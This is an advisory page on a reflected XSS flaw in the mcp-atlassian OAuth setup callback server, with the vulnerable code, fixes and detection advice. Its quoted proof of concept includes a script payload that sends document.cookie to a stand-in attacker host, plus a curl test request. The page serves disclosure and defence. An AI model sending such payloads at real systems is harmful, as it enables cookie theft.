CVE-2026-77272: MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler
The OAuth setup wizard in mcp-atlassian before 0.22.0 starts a callback web server on all network interfaces and prints the `error` query parameter into the HTML page without escaping. Someone on the network can run JavaScript in your browser while the wizard waits. Fixed in 0.22.0.
Published Sep 22, 2026 · Analysis Oct 22, 2026
What an attacker can do
The flaw is in CallbackHandler in utils/oauth_setup.py. When the callback URL has an error parameter, the code builds Authorization failed: {callback_error} and _send_response places it inside a paragraph of the HTML template with an f-string. There is no HTML escaping. The response sets Content-type: text/html and no Content-Security-Policy or X-Content-Type-Options header.
The server is created with socketserver.TCPServer(("", port), handler), which binds all interfaces, default port 8080. So a machine on the same network can reach it, not just localhost. The wizard waits up to 300 seconds for the callback.
The attack needs the victim to be running the wizard (mcp-atlassian --oauth-setup) and to open a crafted link to the /callback path on port 8080 of their machine, with script markup in the error parameter. A curl request with the URL-encoded payload shows the markup echoed back in the response body. The script runs in the victim's browser at the callback origin. The reporter adds that an attacker on the network could also interfere with the code and state parameters, which the same endpoint handles, though that is a possibility, not a demonstrated step. The window is short and only during setup, hence the medium rating.
Who is affected
mcp-atlassian below 0.22.0, only while the OAuth setup wizard is running. Normal server operation does not start this listener. Check the version, and avoid running the wizard on shared or untrusted networks.
pip show mcp-atlassianmcp-atlassian
- Ecosystem
- PyPI
- Affected
- < 0.22.0
- Fixed in
- 0.22.0
- Check
pip show mcp-atlassian
How to fix it
Upgrade to 0.22.0:
pip install --upgrade mcp-atlassian==0.22.0The reporter's recommended changes are to escape the message with html.escape before it enters the template, add Content-Security-Policy and X-Content-Type-Options headers, and bind the callback server to 127.0.0.1. If you must run an older version, run the wizard on a trusted network or behind a host firewall that blocks the callback port, and finish the flow quickly.
How to tell if you were hit
The window is brief, so look at the time of setup. On the host, check firewall or connection logs for inbound connections to the callback port (default 8080) from addresses other than your own during the wizard run. A request to /callback with an error value that contains script markup is the signature. If you suspect interference, revoke the OAuth grant and run the setup again.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.
Details
The vulnerability exists in the CallbackHandler class in src/mcp_atlassian/utils/oauth_setup.py.
Step 1 -- Attacker-controlled input enters unsanitized:
At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:
# src/mcp_atlassian/utils/oauth_setup.py:63-66
if "error" in params:
callback_error = params["error"][0]
callback_received = True
self._send_response(f"Authorization failed: {callback_error}")Step 2 -- Unsanitized input is injected into HTML:
At line 124-125 in _send_response, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:
# src/mcp_atlassian/utils/oauth_setup.py:124-125
{message}
Step 3 -- Server listens on all interfaces:
At line 167, the callback server binds to all network interfaces, not just localhost:
# src/mcp_atlassian/utils/oauth_setup.py:167
httpd = socketserver.TCPServer(("", port), handler)This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.
Step 4 -- No security headers:
The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:
# src/mcp_atlassian/utils/oauth_setup.py:84-86
self.send_response(status)
self.send_header("Content-type", "text/html")
self.end_headers()PoC
Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or run_oauth_setup()), which starts the callback server.
Step 1 -- Craft the malicious URL:
http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>Step 2 -- Deliver the link to the victim:
Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.
Step 3 -- Verify with a simpler payload:
# Start the setup wizard (victim's machine)
# uv run mcp-atlassian --oauth-setup
# From attacker's machine (or same network):
curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"The response HTML will contain:
Authorization failed: <script>alert(document.domain)</script>Impact
- JavaScript execution in the victim's browser context during the OAuth setup flow.
- While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:
- The server binds to all interfaces, making it accessible from the local network.
- The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).
- During this window, any crafted request triggers the XSS.
- An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles
codeandstateparameters on the same endpoint.
Recommended Fix
1. HTML-escape the message before injecting into the template:
# src/mcp_atlassian/utils/oauth_setup.py
import html
def _send_response(self, message: str, status: int = 200) -> None:
"""Send response to the browser."""
self.send_response(status)
self.send_header("Content-type", "text/html")
self.send_header("X-Content-Type-Options", "nosniff")
self.send_header("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'")
self.end_headers()
# Escape user-controlled content before HTML injection
safe_message = html.escape(message)
html_content = f"""
...
{safe_message}
...
"""2. Bind the callback server to localhost only:
# src/mcp_atlassian/utils/oauth_setup.py:167
# Change from:
httpd = socketserver.TCPServer(("", port), handler)
# To:
httpd = socketserver.TCPServer(("127.0.0.1", port), handler)Credited to offset.
Questions
- Is a running mcp-atlassian server exposed to this?
No. The callback server runs only during the OAuth setup wizard, and waits up to 300 seconds for the callback.
- Which parameter is injectable?
The
errorquery parameter on the/callbackpath. It is placed into the page without HTML escaping.- Does the victim have to click something?
Yes. The CVSS vector marks user interaction as required: the victim opens the crafted link while the wizard is running.
- Why does the network matter?
The listener binds to all interfaces, so anyone who can reach the machine on the callback port can send the request.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
